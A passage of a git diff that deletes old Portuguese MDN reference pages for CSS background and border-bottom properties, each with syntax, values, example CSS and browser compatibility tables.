- <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#background-color">CSS 3</a></li>
-</ul>
-
-<h2 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Navegadores</th>
- <th>Versão mais antiga</th>
- </tr>
- <tr>
- <td>Internet Explorer</td>
- <td>4.0</td>
- </tr>
- <tr>
- <td>Firefox (Gecko)</td>
- <td>1.0 (1.0)</td>
- </tr>
- <tr>
- <td>Opera</td>
- <td>3.5</td>
- </tr>
- <tr>
- <td>Safari (WebKit)</td>
- <td>1.0 (85)</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h2>
-
-<ul>
- <li style="margin-bottom: 0.25em;"><a href="/en/CSS/Multiple_backgrounds" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/CSS/Multiple backgrounds">Multiple backgrounds</a></li>
-</ul>
diff --git a/files/pt-pt/web/css/background-image/index.html b/files/pt-pt/web/css/background-image/index.html
deleted file mode 100644
index fd513e19b1..0000000000
--- a/files/pt-pt/web/css/background-image/index.html
+++ /dev/null
@@ -1,131 +0,0 @@
----
-title: background-image
-slug: Web/CSS/background-image
-tags:
- - CSS_1
- - CSS_2.1
- - CSS_3
- - Referencia_CSS
-translation_of: Web/CSS/background-image
----
-<p>{{ CSSRef() }}</p>
-
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-
-<p>A propriedade <code>background-image</code> configura a imagem de fundo para um elemento.</p>
-
-<ul>
- <li>Valor inicial: none</li>
- <li>Aplica-se a: todos os elementos</li>
- <li>Herdado: não</li>
- <li>Porcentagens: N/A</li>
- <li>Mídia: <a href="pt/CSS/Media/Visual">visual</a></li>
- <li>Valor computado: URI absoluta ou none</li>
-</ul>
-
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-
-<pre class="eval">background-image:<em>uri</em> | none | inherit
-</pre>
-
-<h3 id="Valores" name="Valores">Valores</h3>
-
-<dl>
- <dt>uri </dt>
- <dd>A localização da imagem de recurso para ser usada como imagem de fundo.</dd>
- <dt>none </dt>
- <dd>Usado para especificar que um elemento não tem imagem de fundo.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>Note that the star image is partially transparent and is layered over the cat image.</p>
-
-<h3 id="HTML">HTML</h3>
-
-<pre class="brush: html">&lt;div&gt;
- &lt;p class="catsandstars"&gt;
- This paragraph is full of cats&lt;br /&gt;and stars.
- &lt;/p&gt;
- &lt;p&gt;This paragraph is not.&lt;/p&gt;
- &lt;p class="catsandstars"&gt;
- Here are more cats for you.&lt;br /&gt;Look at them!
- &lt;/p&gt;
- &lt;p&gt;And no more.&lt;/p&gt;
-&lt;/div&gt;</pre>
-
-<h3 id="CSS">CSS</h3>
-
-<pre class="brush: css">pre, p {
- font-size: 1.5em;
- color: #FE7F88;
- background-color: transparent;
-}
-
-div {
- background-image: url("https://mdn.mozillademos.org/files/6457/mdn_logo_only_color.png");
-}
-
-p {
- background-image: none;
-}
-
-.catsandstars {
- background-image: url("https://mdn.mozillademos.org/files/11991/startransparent.gif"),
- url("https://mdn.mozillademos.org/files/7693/catfront.png");
- background-color: transparent;
-}
-</pre>
-
-<h3 id="Result">Result</h3>
-
-<p>{{EmbedLiveSample('Exemplos')}}</p>
-
-<h3 id="Notas" name="Notas">Notas</h3>
-
-<p>Desenvolvedores devem assegurar-se de especificar um {{ Cssxref("background-color") }} para ser usado se uma imagem não estiver disponível. Imagens de fundo são renderizadas sobre a cor de fundo.</p>
-
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/CSS1#background-image">CSS 1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background-image">CSS 2.1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#the-background-image">CSS 3</a></li>
-</ul>
-
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h3>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Navegador</th>
- <th>Versão mais antiga</th>
- </tr>
- <tr>
- <td>Internet Explorer</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Firefox</td>
- <td>1</td>
- </tr>
- <tr>
- <td>Netscape</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Opera</td>
- <td>3.5</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3>
-
-<p>{{ Cssxref("background") }}, {{ Cssxref("background-attachment") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/CSS/background-image", "fr": "fr/CSS/background-image", "pl": "pl/CSS/background-image" } ) }}</p>
diff --git a/files/pt-pt/web/css/background-position/index.html b/files/pt-pt/web/css/background-position/index.html
deleted file mode 100644
index 5445184e42..0000000000
--- a/files/pt-pt/web/css/background-position/index.html
+++ /dev/null
@@ -1,85 +0,0 @@
----
-title: background-position
-slug: Web/CSS/background-position
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/background-position
----
-<p>
-{{ CSSRef() }}
-</p>
-<h3 id="Resumo" name="Resumo"> Resumo </h3>
-<p><code>background-position</code> configura a posição inicial de qualquer imagem de fundo que seja configurada.
-</p>
-<ul><li> Valor inicial: 0% 0%
-</li><li> Aplica-se a: todos os elementos
-</li><li> Herdado: não
-</li><li> Porcentagens: refere-se ao tamanho da própria caixa
-</li><li> Mídia: <a href="pt/CSS/Media/Visual">visual</a>
-</li><li> Valor computado: para &lt;length&gt; o valor absoluto, se não uma porcentagem
-</li></ul>
-<h3 id="Sintaxe" name="Sintaxe"> Sintaxe </h3>
-<pre class="eval">background-position: [ [ &lt;percentage&gt; | &lt;length&gt; | left | center | right ] [ &lt;percentage&gt; | &lt;length&gt; | top | center | bottom ]? ] | [ [ left | center | right ] || [ top | center | bottom ] ] | inherit
-</pre>
-<h3 id="Valores" name="Valores"> Valores </h3>
-<dl><dt> &lt;percentage&gt; &lt;percentage&gt;</dt><dd> Com um par de valores de '0% 0%', o canto superior esquerdo da imagem é alinhado com o canto superior esquerdo do enchimento da borda da caixa. Um par de valores de '100% 100%' coloca o canto inferior direito da imagem no canto inferior direito da área de enchimento. Com um par de valores de '14% 84%', o ponto de 14% na horizontal e 84% na vertical da imagem é colocado no ponto 14% na horizontal e 84% na vertical da área de enchimento.
-</dd><dt> &lt;length&gt; &lt;length&gt;</dt><dd> Com um par de valores de '2cm 1cm', o canto superior esquerdo da imagem é colocado 2cm para a direita e 1cm abaixo do canto superior esquerdo da área de enchimento.
-</dd><dt>top left e left top</dt><dd> O mesmo que '0% 0%'.
-</dd><dt>top, top center e center top</dt><dd> O mesmo que '50% 0%'.
-</dd><dt>right top e top right</dt><dd> O mesmo que '100% 0%'.
-</dd><dt>left, left center e center left</dt><dd> O mesmo que '0% 50%'.
-</dd><dt>center e center center</dt><dd> O mesmo que '50% 50%'.
-</dd><dt>right, right center e center right</dt><dd> O mesmo que '100% 50%'.
-</dd><dt>bottom left e left bottom</dt><dd> O mesmo que '0% 100%'.
-</dd><dt>bottom, bottom center e center bottom</dt><dd> O mesmo que '50% 100%'.
-</dd><dt>bottom right e right bottom</dt><dd> O mesmo que '100% 100%'.
-</dd></dl>
-<p>Se somente um valor é especificado, então ele configura a posição horizontal, com a posição vertical em 50%. Caso contrário, o primeiro valor especifica a posição horizontal. Combinações são permitidas de valores de palavras-chave, comprimento ou porcentagens, mas se palavras-chave forem misturadas com outros valores, <code>'left'</code> e <code>'right'</code> podem somente ser usados como o primeiro valor, e <code>'top'</code> e <code>'down'</code> podem somente ser usados como o segundo valor. Posições negativas são permitidas.
-</p>
-<h3 id="Exemplos" name="Exemplos"> Exemplos </h3>
-<pre>.exampleone {
- background-image: url("logo.png");
- background-position: top center;
-}
-
-.exampletwo {
- background-image: url("logo.png");
- background-position: 25% 75%;
-}
-
-.examplethree {
- background-image: url("logo.png");
- background-position: 2cm bottom;
-}
-
-.examplefour {
- background-image: url("logo.png");
- background-position: center 10%;
-}
-
-.examplefive {
- background-image: url("logo.png");
- background-position: 2cm 50%;
-}
-
-</pre>
-<p><span class="comment">== Notas ==</span>
-</p>
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es"> Especificações </h3>
-<ul><li> <a class="external" href="http://www.w3.org/TR/CSS1#background-position">CSS 1</a>
-</li><li> <a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background-position">CSS 2.1</a>
-</li><li> <a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#background-position">CSS 3</a>
-</li></ul>
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores"> Compatibilidade com navegadores </h3>
-<table class="standard-table"> <tbody><tr> <th>Navegador</th> <th>Versão mais antiga</th> </tr> <tr> <td>Internet Explorer</td> <td>4</td> </tr> <tr> <td>Firefox</td> <td>1</td> </tr> <tr> <td>Netscape</td> <td>6</td> </tr> <tr> <td>Opera</td> <td>3.5</td> </tr>
-</tbody></table>
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m"> Veja também </h3>
-<p>{{ Cssxref("background") }},
-{{ Cssxref("background-attachment") }},
-{{ Cssxref("background-color") }},
-{{ Cssxref("background-image") }},
-{{ Cssxref("background-position") }},
-{{ Cssxref("background-repeat") }}
-</p><p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>{{ languages( { "en": "en/CSS/background-position", "fr": "fr/CSS/background-position", "pl": "pl/CSS/background-position" } ) }}
diff --git a/files/pt-pt/web/css/background-repeat/index.html b/files/pt-pt/web/css/background-repeat/index.html
deleted file mode 100644
index c8ee0800ce..0000000000
--- a/files/pt-pt/web/css/background-repeat/index.html
+++ /dev/null
@@ -1,138 +0,0 @@
----
-title: background-repeat
-slug: Web/CSS/background-repeat
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/background-repeat
----
-<p>{{ CSSRef() }}</p>
-
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-
-<p><code>background-repeat</code> specifies whether the image is repeated (tiled), and how.</p>
-
-<ul>
- <li>Valor inicial: repeat</li>
- <li>Aplica-se a: todos os elementos</li>
- <li>Herdado: não</li>
- <li>Porcentagens: N/A</li>
- <li>Mídia: <a href="pt/CSS/Media/Visual">visual</a></li>
- <li>Valor computado: como especificado</li>
-</ul>
-
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-
-<pre class="eval">background-repeat: repeat | repeat-x | repeat-y | no-repeat | inherit
-</pre>
-
-<h3 id="Valores" name="Valores">Valores</h3>
-
-<dl>
- <dt>repeat</dt>
- <dd>A imagem é repetida vertical e horizontalmente.</dd>
- <dt>repeat-x</dt>
- <dd>A imagem é repetida somente horizontalmente.</dd>
- <dt>repeat-y</dt>
- <dd>A imagem é repetida somente verticalmente.</dd>
- <dt>no-repeat</dt>
- <dd>A imagem não é repetida: somente uma cópia da imagem é desenhada.</dd>
-</dl>
-
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="HTML">HTML</h3>
-
-<pre class="brush: html">&lt;ol&gt;
- &lt;li&gt;no-repeat
- &lt;div class="one"&gt;&amp;nbsp;&lt;/div&gt;
- &lt;/li&gt;
- &lt;li&gt;repeat
- &lt;div class="two"&gt;&amp;nbsp;&lt;/div&gt;
- &lt;/li&gt;
- &lt;li&gt;repeat-x
- &lt;div class="three"&gt;&amp;nbsp;&lt;/div&gt;
- &lt;/li&gt;
- &lt;li&gt;repeat-y
- &lt;div class="four"&gt;&amp;nbsp;&lt;/div&gt;
- &lt;/li&gt;
- &lt;li&gt;repeat-x, repeat-y (multiple images)
- &lt;div class="five"&gt;&amp;nbsp;&lt;/div&gt;
- &lt;/li&gt;
-&lt;/ol&gt;</pre>
-
-<h3 id="CSS">CSS</h3>
-
-<pre class="brush: css">/* Shared for all DIVS in example */
-li {margin-bottom: 12px;}
-div {
- background-image: url(https://mdn.mozillademos.org/files/12005/starsolid.gif);
- width: 144px;
- height: 84px;
-}
-
-/* background repeat CSS */
-.one {
- background-repeat: no-repeat;
-}
-.two {
- background-repeat: repeat;
-}
-.three {
- background-repeat: repeat-x;
-}
-.four {
- background-repeat: repeat-y;
-}
-
-/* Multiple images */
-.five {
- background-image: url(https://mdn.mozillademos.org/files/12005/starsolid.gif),
- url(https://developer.mozilla.org/static/img/favicon32.png);
- background-repeat: repeat-x,
- repeat-y;
- height: 144px;
-}</pre>
-
-<h3 id="Result">Result</h3>
-
-<p>In this example, each list item is matched with a different value of <code>background-repeat</code>.</p>
-
-<p>{{EmbedLiveSample('Exemplos', 240, 360)}}</p>
-
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h3>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Navegador</th>
- <th>Versão mais antiga</th>
- </tr>
- <tr>
- <td>Internet Explorer</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Firefox</td>
- <td>1</td>
- </tr>
- <tr>
- <td>Netscape</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Opera</td>
- <td>3.5</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3>
-
-<p>{{ Cssxref("background") }}, {{ Cssxref("background-attachment") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/CSS/background-repeat", "fr": "fr/CSS/background-repeat", "pl": "pl/CSS/background-repeat" } ) }}</p>
diff --git a/files/pt-pt/web/css/background/index.html b/files/pt-pt/web/css/background/index.html
deleted file mode 100644
index 3118d1b239..0000000000
--- a/files/pt-pt/web/css/background/index.html
+++ /dev/null
@@ -1,117 +0,0 @@
----
-title: background
-slug: Web/CSS/background
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/background
----
-<p>{{ CSSRef() }}</p>
-
-<h3 id="Introdu.C3.A7.C3.A3o" name="Introdu.C3.A7.C3.A3o">Introdução</h3>
-
-<p>A propriedade <code>background</code> é usada para ajustar os valores do fundo em um único lugar na folha de estilos. <code>background</code> pode ser usada com os seguintes valores adicionais: {{ Cssxref("background-attachment") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}.</p>
-
-<ul>
- <li>Valor inicial: veja as propriedades individuais para detalhes;</li>
- <li>Aplica-se a: todos os elementos;</li>
- <li>Herdado: não;</li>
- <li>Porcentagens: reservado para {{ Cssxref("background-position") }};</li>
- <li>Mídia: <a href="pt/CSS/Media/Visual">Visual</a>;</li>
- <li>Valor computado: veja as propriedades individuais para detalhes.</li>
-</ul>
-
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-
-<pre class="eval">background: [<em>background-color</em> ||<em>background-image</em> ||<em>background-repeat</em> ||<em>background-attachment</em> ||<em>background-position</em>] |<em>inherit</em>]
-</pre>
-
-<h3 id="Valores" name="Valores">Valores</h3>
-
-<dl>
- <dt>background-color</dt>
- <dd>Veja <code><a href="pt/CSS/background-color">background-color</a></code>.</dd>
- <dt>background-image </dt>
- <dd>Veja <code><a href="pt/CSS/background-image">background-image</a></code>.</dd>
- <dt>background-repeat </dt>
- <dd>Veja <code><a href="pt/CSS/background-repeat">background-repeat</a></code>.</dd>
- <dt>background-attachment </dt>
- <dd>Veja <code><a href="pt/CSS/background-attachment">background-attachment</a></code>.</dd>
- <dt>background-position </dt>
- <dd>Veja <code><a href="pt/CSS/background-position">background-position</a></code>.</dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<h3 id="HTML">HTML</h3>
-
-<pre class="brush: html">&lt;p class="topbanner"&gt;
- Starry sky&lt;br/&gt;
- Twinkle twinkle&lt;br/&gt;
- Starry sky
-&lt;/p&gt;
-&lt;p class="warning"&gt;Here is a paragraph&lt;p&gt;</pre>
-
-<h3 id="CSS">CSS</h3>
-
-<pre class="brush:css' highlight:[2,6];">.warning {
- background: red;
-}
-
-.topbanner {
- background: url("https://mdn.mozillademos.org/files/11983/starsolid.gif") #00D repeat-y fixed;
-}
-</pre>
-
-<h3 id="Result">Result</h3>
-
-<p>{{EmbedLiveSample("Exemplos")}}</p>
-
-<h3 id="Notas" name="Notas">Notas</h3>
-
-<p>Sendo uma declaração válida, a propriedade <code>background</code> ajusta primeiramente o background (fundo) individual para seus valores iniciais, e depois, atribui então os valores especificados na declaração. Você não precisa definir um valor para cada uma das propriedades, apenas para aquelas que você deseja alterar os valores padrões.</p>
-
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/CSS1#background">CSS 1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-background">CSS 2.1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/2005/WD-css3-background-20050216/#the-background">CSS 3</a></li>
-</ul>
-
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h3>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Navegador</th>
- <th>Versão mais antiga</th>
- </tr>
- <tr>
- <td>Internet Explorer</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Firefox</td>
- <td>1</td>
- </tr>
- <tr>
- <td>Netscape</td>
- <td>6</td>
- </tr>
- <tr>
- <td>Opera</td>
- <td>3.5</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3>
-
-<p>{{ Cssxref("background") }}, {{ Cssxref("background-attachment") }}, {{ Cssxref("background-color") }}, {{ Cssxref("background-image") }}, {{ Cssxref("background-position") }}, {{ Cssxref("background-repeat") }}</p>
-
-<p><br>
- <span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/CSS/background", "fr": "fr/CSS/background", "pl": "pl/CSS/background" } ) }}</p>
diff --git a/files/pt-pt/web/css/border-bottom-color/index.html b/files/pt-pt/web/css/border-bottom-color/index.html
deleted file mode 100644
index 0a6c79941e..0000000000
--- a/files/pt-pt/web/css/border-bottom-color/index.html
+++ /dev/null
@@ -1,110 +0,0 @@
----
-title: border-bottom-color
-slug: Web/CSS/border-bottom-color
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/border-bottom-color
----
-<p>{{ CSSRef() }}</p>
-
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-
-<p><code>border-bottom-color</code> configura a cor da borda inferior de um elemento, com o nome da cor ou a palavra-chave <code>transparent</code>.</p>
-
-<ul>
- <li>Valor inicial: propriedade 'color'</li>
- <li>Aplica-se a: todos os elementos</li>
- <li>Herdado: não</li>
- <li>Porcentagens: N/A</li>
- <li>Mídia: <a href="pt/CSS/Media/Visual">visual</a></li>
- <li>Valor computado: quando pego da propriedade 'color', o valor computado de 'color'; caso contrário, como especificado</li>
-</ul>
-
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-
-<pre class="eval">border-bottom-color:<em>color</em> | transparent | inherit
-</pre>
-
-<h3 id="Valores" name="Valores">Valores</h3>
-
-<dl>
- <dt>color </dt>
- <dd>A cor pode ser especificada como um valor RGB hexadecimal, um valor RGB regular ou usando uma das palavras-chave de cor pré-definidas.</dd>
- <dt>transparent </dt>
- <dd>O elemento não tem cor própria, dessa forma exibe a cor do elemento que fica atrás dele.</dd>
-</dl>
-
-<h3 id="Propriedades_relacionadas" name="Propriedades_relacionadas">Propriedades relacionadas</h3>
-
-<ul>
- <li>{{ Cssxref("border-color") }}</li>
- <li>{{ Cssxref("border-left-color") }}</li>
- <li>{{ Cssxref("border-right-color") }}</li>
- <li>{{ Cssxref("border-top-color") }}</li>
-</ul>
-
-<h3 id="Exemplos" name="Exemplos">Exemplos</h3>
-
-<p><a href="/samples/cssref/border.html">View Live Examples</a></p>
-
-<pre>element {
- width: 300px;
- padding: 15px;
- border-bottom-size: 1px;
- border-bottom-style: solid;
- border-bottom-color: #000;
-}
-
-</pre>
-
-<h3 id="Notas" name="Notas">Notas</h3>
-
-<ul>
- <li><a class="external" href="http://html-color-codes.com/">Color Chart by VisiBone</a></li>
-</ul>
-
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/box.html#propdef-border-bottom-color">CSS 2.1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/css3-background/#border-bottom">CSS 3</a></li>
-</ul>
-
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h3>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Navegador</th>
- <th>Versão mais antiga</th>
- </tr>
- <tr>
- <td>Internet Explorer</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Firefox</td>
- <td>1</td>
- </tr>
- <tr>
- <td>Netscape</td>
- <td>6</td>
- </tr>
- <tr>
- <td>Opera</td>
- <td>3.5</td>
- </tr>
- </tbody>
-</table>
-
-<p> </p>
-
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3>
-
-<p>{{ Cssxref("border") }}, {{ Cssxref("border-bottom") }}, {{ Cssxref("border-bottom-style") }}, {{ Cssxref("border-bottom-width") }},</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/CSS/border-bottom-color", "fr": "fr/CSS/border-bottom-color", "pl": "pl/CSS/border-bottom-color" } ) }}</p>
diff --git a/files/pt-pt/web/css/border-bottom-style/index.html b/files/pt-pt/web/css/border-bottom-style/index.html
deleted file mode 100644
index be873908d9..0000000000
--- a/files/pt-pt/web/css/border-bottom-style/index.html
+++ /dev/null
@@ -1,94 +0,0 @@
----
-title: border-bottom-style
-slug: Web/CSS/border-bottom-style
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/border-bottom-style
----
-<p>{{ CSSRef() }}</p>
-
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-
-<p><code>border-bottom-style</code> configura o estilo da linha da borda inferior de uma caixa.</p>
-
-<ul>
- <li>Valor inicial: none</li>
- <li>Aplica-se a: todos os elementos</li>
- <li>Herdado: não</li>
- <li>Porcentagens: N/A</li>
- <li>Mídia: <a href="pt/CSS/Media/Visual">visual</a></li>
- <li>Valor computado: como especificado</li>
-</ul>
-
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-
-<pre class="eval">border-bottom-style: &lt;border-style&gt; | inherit
-</pre>
-
-<h3 id=".3Cborder-style.3E_Valores" name=".3Cborder-style.3E_Valores">&lt;border-style&gt; Valores</h3>
-
-<dl>
- <dt>none </dt>
- <dd>Sem borda.</dd>
- <dt>hidden </dt>
- <dd>O mesmo que 'none', exceto em termos de conflitos na resolução de bordas para elementos de tabela.</dd>
- <dt>dotted </dt>
- <dd>Série de pontos.</dd>
- <dt>dashed </dt>
- <dd>Série de traços ou segmentos de linha.</dd>
- <dt>solid </dt>
- <dd>Simples, reto, linha contínua.</dd>
- <dt>double </dt>
- <dd>Duas linhas retas que adicionam uma quantidade de pixels definida por <code>border-width</code>.</dd>
- <dt>groove </dt>
- <dd>Efeito entalhado.</dd>
- <dt>ridge </dt>
- <dd>Contrário de 'groove'.</dd>
- <dt>inset </dt>
- <dd>Faz a caixa aparecer em baixo relevo.</dd>
- <dt>outset </dt>
- <dd>Contrário de 'inset'. Faz a caixa aparecer em alto relevo.</dd>
-</dl>
-
-<h3 id="Propriedades_relacionadas" name="Propriedades_relacionadas">Propriedades relacionadas</h3>
-
-<ul>
- <li>{{ Cssxref("border-left-style") }}</li>
- <li>{{ Cssxref("border-right-style") }}</li>
- <li>{{ Cssxref("border-top-style") }}</li>
- <li>{{ Cssxref("border-style") }}</li>
-</ul>
-
-<h3 id="Exemplos" name="Exemplos">Exemplos</h3>
-
-<p><a href="/samples/cssref/border.html">View Live Examples</a></p>
-
-<pre>element {
- border-bottom-size: 1px;
- border-bottom-style: dotted;
- border-bottom-color: #000;
-}
-</pre>
-
-<h3 id="Notas" name="Notas">Notas</h3>
-
-<p>A menos que seja configurado um valor para <code>border-style</code>, sua borda não aparecerá, pois o valor padrão configurado é 'none'.</p>
-
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/box.html#propdef-border-bottom-style">CSS 2.1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/css3-background/#border-style">CSS 3</a></li>
-</ul>
-
-<p><span class="comment">== Compatibilidade com navegadores ==</span></p>
-
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3>
-
-<p>{{ Cssxref("border-bottom-style") }}, {{ Cssxref("border-bottom") }}, {{ Cssxref("border-bottom-color") }}, {{ Cssxref("border-bottom-width") }},</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/CSS/border-bottom-style", "fr": "fr/CSS/border-bottom-style", "pl": "pl/CSS/border-bottom-style" } ) }}</p>
diff --git a/files/pt-pt/web/css/border-bottom-width/index.html b/files/pt-pt/web/css/border-bottom-width/index.html
deleted file mode 100644
index 299636a962..0000000000
--- a/files/pt-pt/web/css/border-bottom-width/index.html
+++ /dev/null
@@ -1,112 +0,0 @@
----
-title: border-bottom-width
-slug: Web/CSS/border-bottom-width
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/border-bottom-width
----
-<p>{{ CSSRef() }}</p>
-
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-
-<p><code>border-bottom-width</code> configura a largura da borda inferior de uma caixa.</p>
-
-<ul>
- <li>Valor inicial: medium</li>
- <li>Aplica-se a: todos os elementos</li>
- <li>Herdado: não</li>
- <li>Porcentagens: N/A</li>
- <li>Mídia: <a href="pt/CSS/Media/Visual">visual</a></li>
- <li>Valor computado: comprimento absoluto; '0' se o estilo da borda for 'none' ou 'hidden'</li>
-</ul>
-
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-
-<pre class="eval">border-bottom-width: &lt;border-width&gt; | inherit
-</pre>
-
-<h3 id="Valores_de_.3Cborder-width.3E" name="Valores_de_.3Cborder-width.3E">Valores de &lt;border-width&gt;</h3>
-
-<dl>
- <dt>thin </dt>
- <dd>Uma borda fina.</dd>
- <dt>medium </dt>
- <dd>Uma borda média.</dd>
- <dt>thick </dt>
- <dd>Uma borda grossa.</dd>
- <dt>&lt;length&gt; </dt>
- <dd>A espessura da borda tem um valor explícito. Valores explícitos de borda não podem ser negativos.</dd>
- <dt>&lt;percentage&gt; </dt>
- <dd>A espessura da borda tem um valor em porcentagem, porcentagens da largura do bloco em que está contida. Larguras explícitas de borda não podem ser negativos.</dd>
-</dl>
-
-<p>Nota: Um valor <code>em</code> também é suportado.</p>
-
-<h3 id="Propriedades_relacionadas" name="Propriedades_relacionadas">Propriedades relacionadas</h3>
-
-<ul>
- <li>{{ Cssxref("border-left-width") }}</li>
- <li>{{ Cssxref("border-right-width") }}</li>
- <li>{{ Cssxref("border-top-width") }}</li>
- <li>{{ Cssxref("border-width") }}</li>
-</ul>
-
-<p> </p>
-
-<h3 id="Exemplos" name="Exemplos">Exemplos</h3>
-
-<p><a href="/samples/cssref/border.html">View Live Examples</a></p>
-
-<pre>element {
- border-bottom-width: thin;
- border-bottom-style: solid;
- border-bottom-color: #000;
-}
-</pre>
-
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/CSS1#border-width">CSS 1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/box.html#border-width-properties">CSS 2.1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/css3-background/#border-width">CSS 3</a></li>
-</ul>
-
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h3>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Navegador</th>
- <th>Versão mais antiga</th>
- </tr>
- <tr>
- <td>Internet Explorer</td>
- <td> </td>
- </tr>
- <tr>
- <td>Firefox</td>
- <td> </td>
- </tr>
- <tr>
- <td>Netscape</td>
- <td> </td>
- </tr>
- <tr>
- <td>Opera</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<p> </p>
-
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3>
-
-<p>{{ Cssxref("border") }}, {{ Cssxref("border-bottom") }}, {{ Cssxref("border-bottom-width") }}, {{ Cssxref("border-bottom-style") }}, {{ Cssxref("border-bottom-color") }},</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
